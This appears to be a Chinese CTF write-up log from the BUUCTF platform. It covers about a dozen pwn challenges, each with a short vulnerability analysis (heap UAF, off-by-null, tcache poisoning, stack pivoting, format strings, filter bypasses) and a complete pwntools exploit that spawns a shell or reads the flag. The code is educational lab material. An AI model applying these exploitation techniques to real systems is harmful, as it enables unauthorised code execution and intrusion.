此文记录笔者在buuctf平台的刷题记录 (持续更新)
ciscn_es_1
libc2.27 有tcache
漏洞点:UAF
利用思路:add 一个大于0x410的chunk free掉,unsorted bin 泄露libc
tcache dup 打free_hook 为system
exp:
from pwn import *
#p = process('./ciscn_2019_es_1')
p = remote('node3.buuoj.cn',25313)
libc = ELF('./libc-2.27.so')
#elf = ELF('./ciscn_2019_es_1')
#libc = elf.libc
def add(size,name,call):
p.sendlineafter('choice:','1')
p.sendlineafter("Please input the size of compary's name",str(size))
p.sendafter('please input name:',name)
p.sendafter('please input compary call:',call)
def show(index):
p.sendlineafter('choice:','2')
p.sendlineafter('Please input the index:',str(index))
def call(index):
p.sendlineafter('choice:','3')
p.sendlineafter('Please input the index:',str(index))
add(0x410,'aaaa','aa')
add(0x20,'bbbb','bb')
add(0x50,'/bin/shx00','cc')
call(0)
show(0)
#gdb.attach(p)
p.recvuntil('name:
')
main_arena = u64(p.recv(6).ljust(8,'x00'))-96
success('main_arena:'+hex(main_arena))
libc_base = main_arena - 0x10 -libc.sym['__malloc_hook']
success('libc_base:'+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
success('free_hook'+hex(free_hook))
malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.symbols['system']
success('system:'+hex(system))
one = 0x10a38c + libc_base
call(1)
call(1)
add(0x20,p64(free_hook),'dd')
add(0x20,'z2yh','z2yh')
add(0x20,p64(system),'ee')
#gdb.attach(p)
#p.sendlineafter('choice:','1')
call(2)
p.interactive()
ciscn_s_4
伪代码:
char s; // [esp+0h] [ebp-28h]
memset(&s, 0, 0x20u);
read(0, &s, 0x30u);
printf("Hello, %s
", &s);
read(0, &s, 0x30u);
return printf("Hello, %s
", &s);
32位程序,两个read在同一个地方,都只溢出8字节,考虑栈溢出
利用方法:
第一次read泄露栈地址
第二次输入先构造ROP链,再栈迁移到rop链处
exp:
from pwn import *
#context.log_level = 'debug'
elf = ELF('./ciscn_s_4')
#p = process('./ciscn_s_4')
p = remote('node3.buuoj.cn', 26151)
#gdb.attach(p)
sys=0x08048400
leave=0x8048562
pl1 = 'a'*0x24+'b'*4
p.send(pl1)
p.recvuntil('b'*4)
ebp = u32(p.recv(4)) - 0x10
print hex(ebp)
buf = ebp - 0x28
pl2 = ('a'*4+p32(sys)+p32(0xdeadbeef)+p32(buf+16)+'/bin/shx00').ljust(0x28,'a')+p32(buf)+p32(leave)
p.send(pl2)
p.interactive()
buuoj -[BJDctf2nd test]
题目要求ssh连接
ssh -p 28232 ctf@node3.buuoj.cn
test.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(){
char cmd[0x100] = {0};
puts("Welcome to Pwn-Game by TaQini.");
puts("Your ID:");
system("id");
printf("$ ");
gets(cmd);
if( strstr(cmd, "n")
||strstr(cmd, "e")
||strstr(cmd, "p")
||strstr(cmd, "b")
||strstr(cmd, "u")
||strstr(cmd, "s")
||strstr(cmd, "h")
||strstr(cmd, "i")
||strstr(cmd, "f")
||strstr(cmd, "l")
||strstr(cmd, "a")
||strstr(cmd, "g")
||strstr(cmd, "|")
||strstr(cmd, "/")
||strstr(cmd, "$")
||strstr(cmd, "`")
||strstr(cmd, "-")
||strstr(cmd, "<")
||strstr(cmd, ">")
||strstr(cmd, ".")){
exit(0);
}else{
system(cmd);
}
return 0;
}
输入一个字符串,然后system执行。
过滤了很多字符:
n|e|p|b|u|s|h|i|f|l|a|g|||/|$|`|-|<|>|.
exp:
x86_64
点评:
这个是真的没想到,x86_64在博客上找到了这么一段解释
The execution domains currently only affects the output of uname -m.For example, on an AMD64 system, running setarch i386 program will.cause program to see i686 instead of x86_64 as the machine type. It also allows to set various personality options. The default program is /bin/sh.
我只能说:牛的
hitcontraining - magicheap
利用思路:unsortbin attack
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
libc = ELF('libc-2.23.so')
select = 0
ip = 'node3.buuoj.cn'
port = 29831
if select:
io = process('./magicheap')
else:
io = remote(ip,port)
def add(size,content):
io.sendlineafter('Your choice :','1')
io.sendlineafter('Size of Heap :',str(size))
io.sendafter('Content of heap:',content)
def edit(idx,size,content):
io.sendlineafter('Your choice :','2')
io.sendlineafter('Index :',str(idx))
io.sendlineafter('Size of Heap :',str(size))
io.sendafter('Content of heap :',content)
def delete(idx):
io.sendlineafter('Your choice :','3')
io.sendlineafter('Index :',str(idx))
magic = 0x6020A0
add(0x10,'a')
add(0x90,'b')
add(0x10,'c')
delete(1)
payload = 'x00'*0x18+p64(0xa0)+p64(0)+p64(magic-0x10)
edit(0,len(payload),payload)
#gdb.attach(io)
add(0x90,'d')
io.sendlineafter('Your choice :','4869')
io.interactive()
hitcontraining - bamboobox (需补充exp)
存在堆溢出,打Top_chunk,house of froce 把后门放入函数指针内
但是buu的远程环境里没有/home/bamboobox/flag 这个目录,所以 house of force 打不通
最后用unlink拿的shell
house of force:
from pwn import*
context.log_level = 'debug'
select = 1
ip = 'node3.buuoj.cn'
port = 29694
if select:
io = process('./bamboobox')
else:
io = remote(ip,port)
def menu(idx):
io.sendlineafter('Your choice:',str(idx))
def show():
menu(1)
def add(size,content):
menu(2)
io.sendlineafter('Please enter the length of item name:',str(size))
io.sendafter("Please enter the name of item:",content)
def edit(idx,size,content):
menu(3)
io.sendlineafter('Please enter the index of item:',str(idx))
io.sendlineafter('Please enter the length of item name:',str(size))
io.sendafter("Please enter the new name of the item:",content)
def delete(idx):
menu(4)
io.sendlineafter('Please enter the index of item:',str(idx))
magic = 0x400D49
add(0x30,'a')
payload = 0x38 * 'a'
payload += p64(0xffffffffffffffff)
edit(0,0x40,payload)
offset_to_heap_base = -(0x40 + 0x20)
malloc_size = offset_to_heap_base - 0x10
add(-0x70,'aaaa')
#gdb.attach(io)
add(0x10,'a'*8+p64(magic))
menu(5)
#gdb.attach(io)
io.interactive()
unlink:
from pwn import*
context.log_level = 'debug'
select = 0
ip = 'node3.buuoj.cn'
port = 25416
libc = ELF('libc-2.23.so')
if select:
io = process('./bamboobox')
else:
io = remote(ip,port)
def menu(idx):
io.sendlineafter('Your choice:',str(idx))
def show():
menu(1)
def add(size,content):
menu(2)
io.sendlineafter('Please enter the length of item name:',str(size))
io.sendafter("Please enter the name of item:",content)
def edit(idx,size,content):
menu(3)
io.sendlineafter('Please enter the index of item:',str(idx))
io.sendlineafter('Please enter the length of item name:',str(size))
io.sendafter("Please enter the new name of the item:",content)
def delete(idx):
menu(4)
io.sendlineafter('Please enter the index of item:',str(idx))
ptr=0x6020C8
add(0x40,'a')#0
add(0x80,'b')#1
add(0x80,'c')#2
#gdb.attach(io)
payload=p64(0)+p64(0x41)+p64(ptr-0x18)+p64(ptr-0x10)+'x00'*0x20+p64(0x40)+p64(0x90)
edit(0,len(payload),payload)
delete(1)
#gdb.attach(io)
payload = p64(0)*2 + p64(0x40) + p64(0x602068)#atoi => got
edit(0,len(payload),payload)
#gdb.attach(io)
show()
io.recvuntil("0 : ")
atoi_addr = u64(io.recvuntil(":")[:6].ljust(8,'x00'))
libcbase = atoi_addr - libc.symbols['atoi']
log.info("libc:"+hex(libcbase))
system_addr = libcbase + libc.symbols['system']
log.info("system:"+hex(libcbase))
edit(0,8,p64(system_addr))
#gdb.attach(io)
io.recvuntil(':')
io.sendline('sh')
io.interactive()
ciscn_final_5
来源:buuctf
- 常见的菜单题,无show,没开PIE,got表可写
- libc2.27 tcache
- 管理idx的方式存在漏洞,可造成0x10字节的溢出
add
__int64 add()
{
__int64 result; // rax
signed int i; // [rsp+4h] [rbp-1Ch]
int v2; // [rsp+8h] [rbp-18h]
int idx; // [rsp+Ch] [rbp-14h]
void *buf; // [rsp+10h] [rbp-10h]
__int64 v5; // [rsp+18h] [rbp-8h]
printf("index: ");
idx = read_input();
if ( idx < 0 || idx > 16 )
{
puts("index is invalid.");
exit(-1);
}
printf("size: ");
v2 = read_input();
if ( v2 < 0 || v2 > 0x1000 )
{
puts("size is invalid.");
exit(-1);
}
buf = malloc(v2);
if ( !buf )
{
puts("malloc error.");
exit(-1);
}
printf("content: ");
read(0, buf, v2);
show_lot_12_bits(buf);
result = and(buf, idx);
v5 = result;
for ( i = 0; i <= 16; ++i )
{
result = heaparray[i];
if ( !result )
{
heaparray[i] = v5;
result = i;
size[i] = v2;
break;
}
}
if ( i == 17 )
{
puts("heap note is full.");
exit(-1);
}
return result;
}
delete
int delete()
{
int result; // eax
signed int i; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]
printf("index: ");
result = read_input();
v2 = result;
if ( result < 0 || result > 16 )
{
puts("index is invalid.");
exit(-1);
}
for ( i = 0; i <= 16; ++i )
{
result = get_low_bits(heaparray[i]);
if ( result == v2 )
{
free((heaparray[i] & 0xFFFFFFFFFFFFFFF0LL));
heaparray[i] = 0LL;
size[i] = 0;
result = puts("free success.
");
break;
}
}
if ( i == 17 )
{
puts("free is invalid.");
exit(-1);
}
return result;
}
edit
int edit()
{
int result; // eax
signed int i; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]
printf("index: ");
result = read_input();
v2 = result;
if ( result < 0 || result > 16 )
{
puts("index is invalid.");
exit(-1);
}
for ( i = 0; i <= 16; ++i )
{
result = get_low_bits(heaparray[i]);
if ( result == v2 )
{
printf("content: ");
read_0((heaparray[i] & 0xFFFFFFFFFFFFFFF0LL), size[i]);
result = puts("edit success.
");
break;
}
}
if ( i == 17 )
{
puts("edit is invalid.");
exit(-1);
}
return result;
}
heaparray使用堆地址的末位来记录idx
问题出在heaparray的容量为17,当idx等于16的时候,0x260 | 0x10 = 0x270,导致溢出到下一个堆块的fd中(pre_size位的复用)
直接打heaparray开始布置,改free_got为puts_plt ,泄露puts地址 leak libc,最后改atoi_got为system
值得注意的是需要留意末位,适当减一些数去设置idx
exp:
from pwn import *
p = process('./ciscn_final_5')
context.log_level = 'debug'
ip = 'node3.buuoj.cn'
port = 29525
elf = ELF('./ciscn_final_5')
#libc = elf.libc
p = remote(ip,port)
libc = ELF('./libc.so.6')
def menu(idx):
p.sendlineafter("your choice: ",str(idx))
def add(idx,size,content):
menu(1)
p.sendlineafter('index: ',str(idx))
p.sendlineafter("size: ",str(size))
p.sendafter("content: ",content)
def delete(idx):
menu(2)
p.sendlineafter('index: ',str(idx))
def edit(idx,content):
menu(3)
p.sendlineafter('index: ',str(idx))
p.sendafter("content: ",content)
heap = 0x603000 #heap_base
heaparray = 0x6020E0
sizearray = 0x602180
free_got = 0x602018
puts_plt = 0x400790
puts_got = 0x602020
atoi_got = 0x602078
add(16,0x18,'a')
add(1,0x60,'b')
add(2,0x20,'c')
delete(1)
edit(0,p64(0)+p64(0x71)+p64(heaparray))
add(3,0x60,'d')
add(4,0x60,'e')
edit(4,p64(atoi_got)+p64(heaparray+4)+p64(free_got-1)+p64(puts_got))
edit(7,p64(puts_plt)*2) #free_got => puts_plt
delete(0)
puts = u64(p.recv(6).ljust(8,'x00'))
log.success('LEAK puts: '+hex(puts))
libc_base = puts - libc.sym['puts']
log.success('LIBC: '+hex(libc_base))
system = libc_base + libc.sym['system']
log.success('System: '+hex(system))
edit(8,p64(system)*2)
menu('/bin/shx00')
#gdb.attach(p)
p.interactive()
ciscn_final_2
-
因为最新版的libc2.27 tcache dup被修复了,所以需要先更换一下libc去解决该问题,再进行调试
-
可以申请两种堆块 int(0x20)和 short int(0x10)
-
两种堆块使用同一个标志位,可申请另一种堆块造成double free
-
由于开了沙盒,只能读flag,在ida中可以看到flag的fd为666,我们读flag的思路就是去打_IO_2_1_stdin中的fileno,scanf会打开stdin,调用printf中的格式化字符串时会读取fileno中的文件,默认fileno的值为0。
利用思路
-
因为存在double free 我们申请很多个堆块,可以使用double free去劫持chunk header,造成overlap,从而构造大堆块
-
制造unsorted bin的方法,就是用一直free(使用add第二种堆块将其绕过),将tcache填满,就有unsorted bin
-
核心就是构造堆布局,造成块堆叠
exp:
from pwn import *
#p = process('./ciscn_final_2')
p = remote('node3.buuoj.cn',26314)
elf = ELF('./ciscn_final_2')
libc = elf.libc
#context.log_level = 'debug'
def menu(idx):
p.sendlineafter('>',str(idx))
def add(add_type, add_num):
menu(1)
p.sendlineafter('TYPE:
1: int
2: short int
>', str(add_type))
p.sendafter('your inode number:', str(add_num))
def remove(remove_type):
menu(2)
p.sendlineafter('TYPE:
1: int
2: short int
>', str(remove_type))
def show(show_type):
menu(3)
p.sendlineafter('TYPE:
1: int
2: short int
>', str(show_type))
if show_type == 1:
p.recvuntil('your int type inode number :')
elif show_type == 2:
p.recvuntil('your short type inode number :')
return int(p.recvuntil('
', drop=True))
add(1,0x30)
remove(1)
add(2,0x20)#0x30 fake size
add(2,0x20)#0x30
add(2,0x20)#0x30
add(2,0x20)#0x30
remove(2)
add(1,0x30)
remove(2)
#gdb.attach(p)
addr_chunk0_prev_size = show(2) - 0xa0# attack chunk header 打int_ptr的header
log.info('prev_size: '+hex(addr_chunk0_prev_size))
#gdb.attach(p)
add(2, addr_chunk0_prev_size)
add(2, addr_chunk0_prev_size)
#gdb.attach(p)
add(2, 0x91)# 劫持int_ptr的size
#gdb.attach(p)
for i in range(0,7):#make tcache full
remove(1)
add(2, 0x20)
remove(1)
main_arena = show(1) - 96
log.info('arena: '+hex(main_arena))
libc_base = main_arena - libc.sym['__malloc_hook']-0x10
log.info('libc_base: '+hex(libc_base))
fileno = libc_base + libc.sym['_IO_2_1_stdin_']+0x70
log.info('stdin=>fileno: '+hex(fileno))
#gdb.attach(p)
add(1,fileno)
#gdb.attach(p)
add(1,0x30)
remove(1)
add(2,0x20)
remove(1)
fd = show(1)-0x30
add(1,fd)
add(1,0x30)
add(1,0x30)
add(1,666)
menu(4)
p.recvuntil('your message :')
flag = p.recvuntil('}')
log.success('FLAG: '+flag)
p.interactive()
roarctf_realloc_magic
程序分析:
- realloc和free存在uaf
考点:tcache dup填满tcache , 爆破stdout泄漏libc,realloc的实现
大致思路是利用realloc构造堆布局,造成overlap,爆破stdout泄漏libc
然后故技重施打free_hook为system
exp:
from pwn import*
#p = process('./roarctf_2019_realloc_magic')
elf = ELF('./roarctf_2019_realloc_magic')
libc = ELF('./libc-2.27.so')
#context.log_level = 'debug'
def menu(idx):
p.sendlineafter('>>',str(idx))
def realloc(size,content):
menu(1)
p.sendlineafter('Size?',str(size))
p.sendafter('Content?',content)
def free():
menu(2)
def gift():
menu(666)
def pwn():
realloc(0x70,'a')
realloc(0,'')
realloc(0x100,'b')
realloc(0,'')
realloc(0xa0,'c')
realloc(0,'')
realloc(0x100,'b')
#gdb.attach(p)
for i in range(7):
free()
realloc(0,'a')
realloc(0x70,'a')
realloc(0x180,'c'*0x78+p64(0x41)+p8(0x60)+p8(0xe7))#overlap
#这里解释一下为什么size位是0x41,如果不改size,我们再申请的时候都是
#realloc之后再free,如果是同一块内存,会导致
#gdb.attach(p)
realloc(0,'a')
realloc(0x100,'a')
realloc(0,'a')
realloc(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))#get stdout
#gdb.attach(p)
leak = u64(p.recvuntil("x7f",timeout=0.1)[-6:].ljust(8,'x00'))
log.info('_IO_file_jumps: '+hex(leak))#io_file_jump
#gdb.attach(p)
if leak == 0:
exit(-1)
libc_base = leak - libc.sym['_IO_file_jumps']
log.info('LIBC: '+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base +libc.sym['system']
gift()
realloc(0x120,'a')
realloc(0,'')
realloc(0x130,'a')
realloc(0,'')
realloc(0x170,'a')
realloc(0,'')
realloc(0x130,'a')
[free() for i in range(7)]
realloc(0,'')
realloc(0x120,'a')
realloc(0x260,'a'*0x128+p64(0x41)+p64(free_hook-8))
realloc(0,'')
realloc(0x130,'a')
realloc(0,'')
realloc(0x130,'/bin/shx00'+p64(system))
free()
#gdb.attach(p)
p.interactive()
if __name__ == "__main__":
while True:
p = remote('node3.buuoj.cn',29316)
try:
pwn()
except:
p.close()
第二次打free_hook的时候和第一次原理是一样的,重点要理解0x41和后面的大堆块防止top_chunk被合并
npuctf_2020_easyheap
来源:buuctf
环境:Ubuntu18
题目简述:
-
没开pie,got表可写
-
常规菜单题,在申请堆的时候同时会使用结构体(0x10)记录下size和堆块地址,create只能申请0x18和0x38两种堆,存在off-by-one
利用思路
- 利用off-by-one制造overlap,造成块堆叠,控制记录堆块信息的结构体,造成任意地址读和任意地址写(恰好0x18的堆加0x10的堆加起来就是0x38)
- 改atoi_got为system,getshell
exp:
from pwn import*
elf = ELF('./npuctf_2020_easyheap')
#context.log_level = 'debug'
ip = 'node3.buuoj.cn'
port = 27053
select = 0
if select:
p = process('npuctf_2020_easyheap')
libc = elf.libc
else:
p = remote(ip,port)
libc = ELF('./libc-2.27.so')
def menu(idx):
p.sendlineafter('Your choice :',str(idx))
def add(size,content):
menu(1)
p.sendlineafter("Size of Heap(0x10 or 0x20 only) : ",str(size))
p.sendafter("Content:",content)
def edit(idx,content):
menu(2)
p.sendlineafter("Index :",str(idx))
p.sendafter('Content:',content)
def show(idx):
menu(3)
p.sendlineafter("Index :",str(idx))
def free(idx):
menu(4)
p.sendlineafter("Index :",str(idx))
heaparray = 0x6020a0
atoi_got = 0x602058
add(0x18,p64(0x21)+p64(atoi_got))#0
add(0x18,'a')#1
add(0x18,'a')#2
edit(1,'b'*0x18+p8(0x41))
free(2)
add(0x38,'c'*0x18+p64(0x21)+p64(0x21)+p64(atoi_got))#2
#gdb.attach(p)
show(2)
atoi = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
log.info('atoi: '+hex(atoi))
libc_base = atoi - libc.sym['atoi']
system = libc_base + libc.sym['system']
log.info('libc: '+hex(libc_base))
log.info('system: '+hex(system))
#gdb.attach(p)
edit(2,p64(system))
menu('/bin/shx00')
p.interactive()
BJDCTF 2nd rci
在/tmp下随机创建了50个目录,随机进入一个目录下,有一次命令执行的机会,过滤了很多的字符,能用的命令就只有ls,然后输入绝对目录通过检测,就可以进入第二次命令执行(有过滤)
解题思路:
第一次system命令执行
ls -ali #查看inode号
开多一个shell
ls -ali /tmp #查看/tmp目录下的inode
找到对应inode号即可,第二次命令执行
$0 #相当于/bin/sh
[SWPUCTF_2019_p1KkHeap]
程序分析:
-
常规菜单堆,存在uaf,delete之后不能edit,但是可以show
-
delete只能用3次,最多操作18次
-
程序在开始时mmap了一块内存可以rwxp
利用思路:
double free 配合show泄漏堆地址,打tcache结构体,构造unsorted bin 和 tcache poisning,在mmap的地址上写入orw的shellcode,让malloc_hook指向shellcode的地址
值得注意的是:在编写shellcode的过程中,应当先设置
context(log_level = 'debug', arch = 'amd64', os = 'linux')
不然shellcode跑起来会出问题
exp:
from pwn import*
#p = process('./kkheap')
p = remote('node3.buuoj.cn',29608)
elf = ELF('./kkheap')
libc = elf.libc
context(log_level = 'debug', arch = 'amd64', os = 'linux')
def menu(idx):
p.sendlineafter('Your Choice:',str(idx))
def add(size):
menu(1)
p.sendlineafter('size:',str(size))
def show(idx):
menu(2)
p.sendlineafter('id:',str(idx))
def edit(idx,content):
menu(3)
p.sendlineafter('id:',str(idx))
p.sendafter('content:',content)
def delete(idx):
menu(4)
p.sendlineafter('id:',str(idx))
add(0x100)#0
add(0x100)#1
delete(0)
delete(0)
show(0)
p.recvuntil('content: ')
heap_base = u64(p.recv(6).ljust(8,'x00')) - 0x260
log.info('heap_base: '+hex(heap_base))
add(0x100)#2
edit(2,p64(heap_base+0x10))
#gdb.attach(p)
add(0x100)#3
add(0x100)#4
edit(4,'x00'*15+'x07')
delete(0)
show(0)
p.recvuntil('content: ')
malloc_hook = u64(p.recv(6).ljust(8,'x00')) - 96 - 0x10
log.info('malloc_hook: '+hex(malloc_hook))
edit(4,'x00'*15+'x07'+p64(0)*14+p64(0x66660000)+p64(malloc_hook))
#gdb.attach(p)
payload = shellcraft.open("flag")
payload += shellcraft.read(3,0x66660300,64)
payload += shellcraft.write(1,0x66660300,64)
add(0x90)#5
edit(5,asm(payload))
add(0xa0)#6
sleep(0.1)
edit(6,p64(0x66660000))
#gdb.attach(p)
add(0x90)
#sleep(0.1)
p.interactive()
de1ctf_2019_weapon
libc2.23,菜单题没有show,爆破IO_FILE去泄露libc,然后double free打malloc_hook.
注意一下堆风水,把unsorted binfd的末两个字节踩掉,打IO_FILE。
exp:
from pwn import *
#context.log_level = 'debug'
proc = 'de1ctf_2019_weapon'
elf = ELF(proc)
libc = elf.libc
def menu(idx):
p.sendlineafter('>> ',str(idx))
def add(size,idx,content):
menu(1)
p.sendlineafter('size of weapon: ',str(size))
p.sendlineafter('index: ',str(idx))
p.sendafter('name:',content)
def delete(idx):
menu(2)
p.sendlineafter('idx :',str(idx))
def rename(idx,content):
menu(3)
p.sendlineafter('idx: ',str(idx))
p.sendafter('new content:',content)
def pwn():
add(0x20,0,p64(0)*3+p64(0x31))
add(0x20,1,'ptr')
add(0x60,2,'ptr')
add(0x20,3,'ptr')
delete(0)
delete(3)
rename(3,'x20')
# gdb.attach(p)
add(0x20,4,'a')
add(0x20,4,p64(0)+p64(0xa1))
delete(1)
delete(2)
add(0x20,4,'ptr')
rename(2,'xddx25')
# gdb.attach(p)
add(0x60,5,'ptr')
# gdb.attach(p)
payload = 'x00'*0x33 + p64(0xfbad1800) + p64(0)*3 + 'x00'
add(0x60,5,payload)
libc_base = u64(p.recvuntil('x7f',timeout=0.1)[-6:].ljust(8,'x00'))-192-libc.sym['_IO_2_1_stderr_']
log.info('libc: '+hex(libc_base))
add(0x60,6,'ptr')
add(0x60,7,'ptr')
delete(6)
delete(7)
delete(6)
add(0x60,8,p64(libc_base+libc.sym['__malloc_hook']-0x23))
add(0x60,2,'ptr')
add(0x60,3,'ptr')
add(0x60,4,'x00'*0x13+p64(0xf1207+libc_base))
menu(1)
p.sendlineafter('size of weapon: ',str(0x10))
p.sendlineafter('index: ',str(0))
p.interactive()
if __name__ == '__main__':
while(True):
try:
p = remote('node3.buuoj.cn',27781)
pwn()
except Exception as e:
p.close()
continue
sctf_2019_easy_heap
开始mmap了一块内存,可读可写可执行
在Fill函数中存在一个off-by-null漏洞,通过off-by-null构造块堆叠,往mmap中写shellcode,劫持malloc_hook为mmap的地址
在buu上是libc2.27的版本,注意堆开大一点(0x400以上)不然会放进tcache里,就没法合并堆块了。
exp:
from pwn import*
proc = "./sctf_2019_easy_heap"
elf = ELF(proc)
libc = elf.libc
context.arch = 'amd64'
context.os = 'linux'
#context.log_level = 'debug'
ip = 'node3.buuoj.cn'
port = 28431
p = remote(ip,port)
#p = process(proc)
def menu(idx):
p.sendlineafter('>>',str(idx))
def add(size):
menu(1)
p.sendlineafter('Size: ',str(size))
def delete(idx):
menu(2)
p.sendlineafter('Index: ',str(idx))
def edit(idx,content):
menu(3)
p.sendlineafter('Index: ',str(idx))
p.sendafter('Content: ',content)
shellcode = asm(shellcraft.sh())
p.recvuntil("Mmap: ")
mmap = int(p.recvuntil("
",drop=True),16)
log.info('mmap: '+hex(mmap))
add(0x410)
p.recvuntil("Address 0x")
base_addr = int(p.recvline().strip(),16) - 0x202068
add(0x68)
add(0x4f0)
add(0x68)
delete(0)
edit(1,'x00'*0x60+p64(0x420+0x70))
delete(2) # combine chunk0 and chunk1 with chunk 2
add(0x410)
add(0x68)
delete(3)
delete(2)
delete(1)
#double free
add(0x68)
edit(1,p64(mmap)+'
')
add(0x68) # 2
add(0x68) # 3
edit(3,shellcode+'
')
add(0x4f0)
delete(0) # chunk0 0x410
edit(1,'x00'*0x60+p64(0x490))
delete(1) # tcache 0x70
delete(4)
add(0x410)
edit(2,'x30
')
add(0x68)
add(0x68)
edit(4,p64(mmap) + b'
')
add(0x68)
p.interactive()
[mrctf2020_easy_equation]
题目很简单,先解那个方程,judge = 2
然后格式化字符串修改judge的值,注意栈对齐即可
from pwn import*
proc = './mrctf2020_easy_equation'
context.log_level = 'debug'
#p = process(proc)
p = remote("node3.buuoj.cn",27605)
judge = 0x60105C
payload='aa'+'%9$n'
payload = payload.ljust(9,'b')
payload +=p64(judge)
p.sendline(payload)
p.interactive()
踩坑:
payload.ljust(9,'a') #这样的话payload.ljust只能控制返回值,而不能改变payload的值
hitcon_2018_children_tcache
glibc版本2.27的堆题,常规菜单,漏洞点出在add函数中向堆块写入内容的部分
strcpy copy字符串的时候会在最后加一个' ',造成了堆上的off-by-null。
在free堆块的时候会
memset(heaparray[v1], 0xDA, size[v1]);
再释放堆块,所以就比较难在这方面下手,覆写pre_size位的时候需要一些操作才能写入
for i in range(1,8):# clear the 0xda in prev_size
add(0x68-i,'x'*(0x68-i))
delete(0)
思路:off-by-null造成堆块overlap,再构造一个double free去打malloc_hook
exp:
from pwn import*
context.log_level = 'debug'
#p = process('./pwn')
p = remote('node3.buuoj.cn',25341)
elf = ELF('./pwn')
libc= ELF('./libc-2.27.so')
def menu(idx):
p.sendlineafter('Your choice: ',str(idx))
def add(size,content):
menu(1)
p.sendlineafter('Size:',str(size))
p.sendlineafter('Data:',content)
def show(idx):
menu(2)
p.sendlineafter('Index:',str(idx))
def delete(idx):
menu(3)
p.sendlineafter('Index:',str(idx))
add(0x410,'a')# 0
add(0x68,'a') # 1
add(0x4f0,'b')# 2
add(0x88,'c') #3
delete(0)
delete(1)
add(0x68,'a'*0x68)
delete(0)
for i in range(1,8):# clear the 0xda in the prev_size of chunk2
add(0x68-i,'x'*(0x68-i))
delete(0)
add(0x68,'a'*0x60+p64(0x490))
#gdb.attach(p)
delete(2) #extend unsorted bin
add(0x410,'a') # 1
show(0)
libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-96-0x10-libc.sym['__malloc_hook']
log.info('LIBC: '+hex(libc_base))
add(0x68,'b') # uaf
#add(0x4f0,'c')
delete(0)
delete(2)
add(0x68,p64(libc_base+libc.sym['__malloc_hook']))
add(0x68,'ptr
')
add(0x68,p64(0x4f322+libc_base))
#gdb.attach(p)
menu(1)
p.sendlineafter('Size:',str(0x10))
p.interactive()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
shanghai2018_baby_arm
一道arm64的pwn题
题目逻辑比较简单,先在bss端上读入一段数据
然后会有一个栈溢出,偏移可以在gdb里调试找出
因为开了nx,所以我们的思路就是先写入shellcode,然后mprotect改权限,执行shellcode
gadget有点难找 ROPgadget找不出好用的,只能自己去看了
在0x4008cc 0x4008ac 0x4007e0处有能控制寄存器的gadget,类似于x86的ret2csu
主要是学习调试arm架构的技巧,本地qemu挂起来然后gdb-multiarch远程连上去
exp
from pwn import *
binary = './pwn'
context.log_level = 'debug'
context.arch = "aarch64"
context.os = "linux"
elf = ELF('./pwn')
mprotect = elf.plt['mprotect']
debug = 1
remote = 0
if remote :
p = remote("node3.buuoj.cn",29874)
elif debug :
p = process(["qemu-aarch64", "-L","/usr/aarch64-linux-gnu","-g","1234",binary])
else :
p = process(["qemu-aarch64", "-L","/usr/aarch64-linux-gnu",binary])
p.recvuntil('Name:')
shellcode = shellcraft.sh()
shellcode = asm(shellcode)
p.send(p64(0x4007e0)+shellcode)
sleep(0.1)
payload = 'a'*0x48+p64(0x4008cc)
payload += p64(0) #x29
payload += p64(0x4008ac) #x30
payload += p64(0) #x19
payload += p64(0) #x20
payload += p64(0x411068) #x21
payload += p64(7) #x22
payload += p64(0x1000) #x23
payload += p64(0x411000) #x24
payload += p64(0)#p64(0x411068+0x8)
payload += p64(0x411068+0x8)
p.send(payload)
p.interactive()